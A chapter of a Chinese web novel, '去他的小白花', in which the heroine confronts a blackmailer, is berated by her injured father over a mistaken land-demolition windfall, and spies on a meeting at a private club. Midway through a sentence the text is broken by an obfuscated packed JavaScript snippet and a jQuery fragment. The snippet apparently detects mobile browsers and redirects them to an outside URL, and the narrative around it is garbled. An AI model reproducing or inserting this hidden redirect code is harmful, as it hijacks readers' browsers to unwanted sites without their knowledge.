35. 第 35 章
作品:《去他的小白花》 次日,叶以秦趁着没上课时跑了趟警局,也见到了那个八十岁还敢偷车上路的老头,不得不说,这位大爷身子骨还挺硬朗,说话也利索,叶以秦说一句,能给回呛十句。
这种性格和年纪的老人,那已经是魔法加身了,谁也动不了的。
叶以秦问他是不是为别人做事的时候,大爷明显惊讶了一瞬,接着就开始说胡话否认。
叶以秦意识到无法从他身上得到更多消息后,彻底放弃沟通,这边她不会再来了。
只能直接去找罪魁祸首。
按着上回的陌生号码拨打过去,那边贺骏很快接了她的电话,一开口就是:“你现在对我道歉,说几句软话,我心情一好,或许能放你一马。”
叶以秦当他放屁。
不用有幻想,要是有人说这种话,那无论你道不道歉,他都不可能放过你,因为他的发言是建立在羞辱之上的,这种时候就不该按照他的节奏走。
“直接约个时间见面吧。”叶以秦说。
贺骏语调阴阳怪气:“哟,校花居然主动约我见面了,受宠若惊啊,怎么着,你要当面跟我道歉?”
叶以秦不搭他的茬,直接定地点:“我听说西城最高端的娱乐场所是松风私人会所,为表诚意,我请客如何?”
贺骏嗤笑:“这种东西你倒是调查得清楚,就你那样进得去吗你?别是勾搭上了什么肥头大耳的大款,呵呵,行,那就那里见,我给你个机会,你要是把我哄高兴了,到时候用不着你请,我还会反过来给你……”
“嘟嘟嘟……”
叶以秦懒得听他污言秽语。
贺骏被挂了一脸,看着手机上的页面怒急反笑。
行行行,都到这种时候了还这么傲气,看来是教训还不够重。
算了,反正他本来也是要那样做的。
贺骏压下那点不满,心情反倒有些兴奋,匿名编辑了一条短信,随后发送出去。
家里的事,叶以秦没跟任何人说起,倒是季深白居然在通讯上问了一句她是不是遇到什么事了。
叶以秦有些惊讶:「我们这两天都没见面,你怎么这样问?」
季深白在那边回:「有见的,上午我看到你出校门了,你没坐那辆车,自己往别的方向走了。」
只是和往常相比有了点小小的改变而已,这他都观察得这么仔细。
「要是我只是心血来潮想去哪里逛逛呢?」
「所以我在问啊。」
紧接着又来了一句,像在急匆匆地解释:「我不是在打探你的隐私,我是不是话太多了?」
叶以秦看着对话框,真神奇,看上去也只是平常的聊天,她居然感受到了一种真切的关心。
「没什么隐私,是我家人出了点事,我回去一趟。」
「不好的事吗?严不严重?」
「安啦,没事。」
为了表示真的没事,她特地去搜索了几个开开心心的萌萌表情,发了过去。
过了好一会儿,季深白也发来一个萌萌表情,应该是特意去搜来的,和她那个是同套表情包。
叶以秦看着手机笑。
但这笑没维持多久,陈静兰的电话就打进来了,火急火燎地让她赶紧去医院一趟,背景音里似乎还有叶建弼的吼声。
叶以秦问她什么事,她也不说,就说快点来,有很重要的事。叶以秦只能去医院,到病房时,她刚一走进去,就察觉气氛不太对。
叶建弼怒目切齿地瞪着她,好像看到了仇人。
“你来得正好,过来给我说清楚,你在学校究竟都干了什么蠢事!”
这又是听到什么谣言了?
叶以秦往前走几步,和病床隔着距离:“又怎么了?”
“还怎么了?”叶建弼大声怒喝,一秒都不能忍地吼,“我被车撞都是你害的对不对?!是不是你得罪了人,人家报复到我这里来的?是不是?!”
叶以秦哑口无言。
谁告诉他的?
除了贺骏还能有谁,那个狗东西,是真不讲武德啊。
她没正面承认:“这跟我有什么关系,又不是我叫人撞的你,警察那边还在调查,结果都还没出来呢。”
叶建弼气疯了,挣扎着要从床上起来:“你这个扫把星!赔钱货!我都收到人家报信了,你害你老子瘸了腿,我他妈今天打死你!我怎么没一出生就把你掐死!”
疯狂的叫骂点燃整个病房,其余两个床位的病人和家属纷纷侧目,出声劝道:“别冲动啊,也许有什么误会。”
“对啊,我看这小姑娘长得这么水灵,人乖乖的,能得罪什么人。”
“别冲动啊老哥,你那腿还架着呢。”
“你们懂什么!”叶建弼激动得身下整张床都在晃动,“这死丫头前阵子还被人包养,这回又惹上不能惹的人,居然把我害成这个样子,一天天的只会在外面胡搞,真是气死我了!”
听到这话,其他人都尴尬地不敢再搭话,一个个的眼神往叶以秦身上瞟。
陈静兰在一旁虚虚地按住他:“消消气,消消气,哎呀小秦,还不过来给你爸道歉,不是我说,你这回真是害苦你爸了。”
叶以秦站在原地没有动,眉眼有些阴。即使她觉得一切的错都在贺骏,即使她把一切都说清楚,他们也不会相信,或者说不会站在她这边。
而且这回还真是她不占理,毕竟站在叶建弼的角度,他确实是无妄之灾,是被她连累的。
头疼,这局面难解。
“我会尽力给你争取赔偿金。”她说。
陈静兰平平道:“那老头又没有钱,能出半毛钱的赔偿金啊?”
叶建弼还在吹胡子瞪眼,要不是他腿伤了,按平时的习惯,保准已经一脚踢过去了。
“我稀罕你那点赔偿金?等过几天,家里的地就要拆了,到时候我有的是钱,我还看得上那些?”
陈静兰想要阻止已经来不及了。
叶以秦挑眉:“什么,家里要拆迁?”
叶建弼听着这宝贝似的两个字,终于稍微冷静下来,讥嘲道:“是拆迁没错,但是和你没有任何关系了,本来我还想到时候分给你十万块,现在你一分钱都得不到!”
叶以秦:“……”
万万没想到剧情跌宕起伏成这样的两床病人和家属:“……”
刚进来就被惊喜砸中的叶承轩:“!!!”
叶以秦疑惑道:“桧安区要拆迁?我怎么从没听过这个消息?”
她记得很清楚,书中根本没有这一节,叶家从头到尾都没有转运崛起的桥段,他们后面那些钱,还都是原主给的,靠着原主伺候涂屹,从她那里薅走了几百万。
她理解因为自己的行为会带来蝴蝶效应,但再怎么样,她这小小的翅膀,也扇不了这样的改变吧?
桧安区怎么就要拆迁了呢?
难不成还能是涂屹暗恋她,想要借此讨她欢心吧?
那不能,现阶段的涂屹对她根本没感觉啊,而且他能力再怎么大也不至于能决定一个地区的拆迁吧……
等等!
涂屹……拆迁……
一条信息从脑海一闪而过,叶以秦慢慢眨着眼问:“你们确定是桧安区,而不是其他地方,比如桧江区?”
叶建弼面露鄙夷,非常自信:“你一个女人家家的懂什么,桧江那地方早没人了。”
叶承轩走进来,克制着激动,多问了一嘴:“为什么这么说?”
叶以秦:“据我所知,最近能和拆迁沾上边的只有桧江区,那块地下礼拜要走招标流程。”
也是下礼拜?
叶建弼脸色微变:“不可能,这事是同样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230238|196722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住在桧安的一个老头跟我说的,他说他儿子要参加招标……”
他说着猛地一顿,眼慢慢睁大。
叶以秦大概知道咋回事了,这估计就是一场乌龙,因为老头住在桧安,没说清楚,叶建弼太激动误会了。
叶以秦无情粉碎他们的幻想:“是桧江,不是桧安,而且都走到招标流程了,那基本就是块净地,早清空用户了。”
她对涂屹的这个项目是上过心的,自然查过,桧江区的居民早两年就都搬走了,只是早前不知为何搁置了一段时间,到现在才重新启动。
病房里的空气一时凝滞住了。
叶以秦看着呆滞的叶建弼和陈静兰等人,赶紧脚底抹油溜了,没去看这几人反应过来后精彩纷呈的脸色,也就不知道,当叶承轩颤抖着手查实消息后,陈静兰比叶建弼更先一步晕了过去。
走出医院,回到学校是另一番景象,起码比医院空气清新一点。叶以秦边嘀咕着真狗血,边暂时把那几人的号码拉黑,不拉黑不行,会被打爆。
而且还不能拉黑太久,现在他们的线已经被绷紧了,再绷下去就要断了,在和叶家彻底断去联系之前,她必须得处理好这件事。
否则以叶建弼等人的德性,是不会顾及什么面子的,大喊大闹跑到学校、阴魂不散地永远缠着她之类的未来都是可预见的,她要是想没后顾之忧,得好好想一想怎么解决。
和贺骏约好在松风私人会所,是因为这个地方在原文中有一些戏份,主要人物都在这里出现过。
网上搜索松风,跳出来的资料显示,它是当地一个富人创立,在西城上层阶级之间颇有名气,许多有头有脸的人物会固定来这里小聚。
会所是中式园林风格,景色非常美,曾有电影团队想要取景却被拒绝。表面上松风没有会员邀请制,但实际上,许多新人都是通过老人带进去的,据说要是老板看人不顺眼,就是砸钱也不会让进。
这种地方,叶以秦就是在门口蹲点三天三夜,人家也不会看在她可怜让她进去看一眼。
但她还是进去了,顶着浑身上下不超过三百块的行头进的。
侍应生盘正条顺,身材好,脸蛋好,穿的是简单的黑裙白衣,看上去都比她一个客人更光鲜亮丽。戴着条廉价项链、穿着小白鞋的叶以秦被领着穿过一道拱门,来到一间包厢门口。
“到了,客人,您如果有什么需求,可以随时找我。”侍应生并不走,就站在门口待命。
“我约了人,还没到点,我想随便看看,哦不用,我自己逛就行。”
叶以秦是提前来的,已经计划好往哪边“随便看看”了,侍应生特别提醒她有些区域属于客人的私人场所,不能随意进入。
叶以秦嗯嗯一通点头,她都知道,甚至可能知道得比眼前这个美女侍应生都多,毕竟昨晚还从涂之南那里得到了一份简略地图。
松风里的侍应生不少,但个个都很安静,遇到人也是沉默点头侧身避让。叶以秦大大方方地穿过游廊,来到二楼的某个房间外。
里面有人,男人的声音,好像在讨论事情,门口的侍应生都被支走了,叶以秦左右看了看,把耳朵贴上去,听不到一丁点声音。
隔音做得这么好干什么。
没其他办法,叶以秦只好守株待兔,找了个能看到门口的隐蔽位置,把镜头对准,耐心等着。
这一等就是快一个小时,期间贺骏打来电话,被她直接忽视,那玩意儿还不依不饶地打着,最后被叶以秦拉黑。
终于,门那边有动静了,走出来两个人,一高瘦一胖矮,矮的那个是个中年男人,发际线惊人地后移。
叶以秦心跳有些快,把两人同框的画面拍下。
“你是谁?在干什么?”
身后一道声音陡然出现,惊得叶以秦手一抖,手机差点摔在地上。

